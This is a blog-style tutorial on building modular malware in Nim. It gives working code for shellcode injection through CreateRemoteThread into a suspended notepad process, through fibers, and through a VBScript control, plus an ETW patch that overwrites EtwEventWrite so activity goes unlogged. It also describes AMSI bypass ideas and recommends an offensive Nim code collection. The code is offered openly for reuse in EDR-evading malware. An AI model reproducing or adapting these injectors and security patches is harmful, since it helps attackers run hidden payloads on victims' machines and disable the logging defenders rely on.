Malware Creation

Implementing Your Own Modular Malware

why

One of the main advantages of creating a modular malware is that it allows you to break down the malware into smaller, more manageable components. By doing this, you can more easily focus on specific features and functionalities of the malware, such as patching ETW or unhooking AMSI. This makes it easier to understand how each feature works, and it also makes it easier to test and debug each component individually.

Creating a modular malware also helps you to develop a deeper understanding of how malware works as a whole. By breaking down the malware into smaller components, you can see how each component interacts with other components to create the overall behavior of the malware

The Approach

After implementing a shellcode injector in a language of your choice the next step is to continue learning by adding more features to it.

My approach of doing this was to take an injector I programmed in nim and split it up into 2 files. One file was the main file and the other was the file that handles execution.

I then used compiler flags to `define` different flags. These where used to select what execution approach to use. I started off with 2 these being using Threads and using Fibers

I had a main file that defined the shellcode and then called a function inject this function was defined 2 times in execution file. Either one was only included in the compilation if a certain flag was provided.

The flags where:

Later I implemented more approaches but the point is to look at new ideas and try to see how you can implement them into your own project.

CreateRemoteThread

When USE_CRT is defined the inject function looks like this:

Code: Click to show
when defined(USE_CRT):
        import osproc
        proc inject*[I, T](shellcode: array[I, T]): void = 
            let tProcess = startProcess("notepad.exe")
            tProcess.suspend()
            defer: tProcess.close()
            echo "[CRT] Target process: ", tProcess.processID
    
            let pHandle = OpenProcess(
                PROCESS_ALL_ACCESS, 
                false, 
                cast[DWORD](tProcess.processID)
            )
            defer: CloseHandle(pHandle)
            echo "[CRT] pHandle: ", pHandle
    
            let rPtr = VirtualAllocEx(
                pHandle,
                NULL,
                cast[SIZE_T](shellcode.len),
                MEM_COMMIT,
                PAGE_EXECUTE_READ_WRITE
            )
            var bytesWritten: SIZE_T
            let wSuccess = writeMemory(
                pHandle, 
                rPtr,
                shellcode
            )
            echo "[CRT] WriteProcessMemory: ", bool(wSuccess)
    
            let tHandle = CreateRemoteThread(
                pHandle, 
                NULL,
                0,
                cast[LPTHREAD_START_ROUTINE](rPtr),
                NULL, 
                0, 
                NULL
            )
            defer: CloseHandle(tHandle)
            echo "[CRT] tHandle: ", tHandle
            echo "[CRT] Shellcode injected!"  

Fibers

When USE_FIBERS is defined the inject function looks like this:

Code: Click to show
when defined(USE_FIBERS):
    proc inject*[I, T](shellcode: array[I, T]): void =
        let MasterFiber = ConvertThreadToFiber(NULL)
        echo "[FIBER] New Fiber Pointer: ", repr(MasterFiber)
        let vAlloc = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
        var bytesWritten: SIZE_T
        let pHandle = GetCurrentProcess()
        echo "[FIBER] pHandle: ", repr(pHandle)
        WriteProcessMemory(pHandle, vAlloc, unsafeaddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten)
        echo "[FIBER] bytesWritten: ", repr(bytesWritten)
        let xFiber = CreateFiber(0, cast[LPFIBER_START_ROUTINE](vAlloc), NULL)
        echo "[FIBER] Fiber Execution Pointer: ", repr(xFiber)
        SwitchToFiber(xFiber)

Implementing Your Own Custom Ideas

Of course you can have a working injector by simply downloading this code and compiling however the learning comes in implementing your own ideas into your own project.

I remember working with VBScript when i was in MS Access to help with styling and knew the WinAPI is implemented in it. Using this idea I worked with chatGPT to try develop a way of calling VBScript from inside nim

I found a way of doing this and eventually through trial and error managed to implement a way of executing the shellcode in a VBScript instance.

Visual Basic (WScript.exe)

When USE_VBSCRIPT is defined the inject function looks like this:

Code: Click to show
when defined(USE_VBSCRIPT):
    import strformat
    import system
    import winim/com

    when defined(amd64):
        echo "[VBSCRIPT EXECUTION] only supports windows i386 version"
        quit(1)

    proc inject*[I, T](shellcode: array[I, T]): void {.inline.} =
        var obj = CreateObject("MSScriptControl.ScriptControl")
        obj.allowUI = true
        obj.useSafeSubset = false

        obj.language = "VBScript"
        var buffer = ""
        for i in shellcode:
            #makes the shellcode into space seperated hex values for VBSCRIPT to parse
            buffer.add(fmt"{i:02X}")
        var vbs = fmt"""
            Dim shellcode
            shellcode = "{$buffer}"
            Dim buffer
            buffer = ""
            For i = 1 To Len(shellcode) Step 2
                buffer = buffer & Chr(CByte("&H" & Mid(shellcode, i, 2)))
            Next
            Dim exec
            Set exec = WScript.CreateObject("WScript.Shell")
            exec.Run buffer
        """

        obj.eval(vbs)

ETW and AMSI Patch

I wanted the malware to also be able to do common bypasses to certain techniques of EDR's. The currently implemented examples of this is the Event Tracing for windows and Anti-Malware Scanner Interface. ETW is responsible for logging the actions of a program and is called repeatedly when any program is running. AMSI is used so that EDR vendors can easily implement protection and diagnostics for each process or scripting interface on the OS.

Both of these have a quick and dirty bypass. This is done by finding the location of the function that they use to log and overwriting its bytes so that it just returns null and doesn't ever actually log.

Again Using flags I made each technique optional

ETW Patch

If the compile flag is included "PATCH_ETW" then ETW function is patch.

This is the code to patch ETW

  when defined(PATCH_ETW):
    import strformat
    import dynlib

    when defined amd64:
        echo "[ETW PATCH] Running in x64 process"
        const etwPatch: array[1, byte] = [byte 0xc3]
    elif defined i386:
        echo "[ETW PATCH] Running in x86 process"
        const etwPatch: array[4, byte] = [byte 0xc2, 0x14, 0x00, 0x00]

Depending on whether process is 32bit or 64 bit a different patch is used.

It is important that the ETW patch is ran after doing any other patch/unhook techniques. This is because ETW is overwritten back to default when reloading/unhooking NTDLL

    proc Patchntdll(): bool =
        var
            ntdll: LibHandle
            cs: pointer
            op: DWORD
            t: DWORD
            disabled: bool = false

        # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
        # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
        ntdll = loadLib("ntdll")
        if isNil(ntdll):
            echo "[ETW PATCH] Failed to load ntdll.dll"
            return disabled

        cs = ntdll.symAddr("EtwEventWrite") # equivalent of GetProcAddress()
        if isNil(cs):
            echo "[ETW PATCH] Failed to get the address of 'EtwEventWrite'"
            return disabled

        if VirtualProtect(cs, etwPatch.len, 0x40, addr op):
            echo "[ETW PATCH] Applying patch"
            copyMem(cs, unsafeAddr etwPatch, etwPatch.len)
            VirtualProtect(cs, etwPatch.len, op, addr t)
            disabled = true

        return disabled

    var etwSuccess = Patchntdll()
    echo fmt"[ETW PATCH] ETW blocked by patch: {bool(etwSuccess)}"

AMSI Patch

There is much more options when it comes to patching AMSI as it is in fact a combination of different combined scanners. Severing the connection between any of them can make it become unresponsive.

Due to this I implemented 2 different techniques:

Here is the code:



        

Sources

In the case of nim malware (to disappointment of nims creator) there is an excellent resource called:

OffensiveNim

It tonnes of information on how to use nim as a malware creator and also has excellent code snippets to do certain things.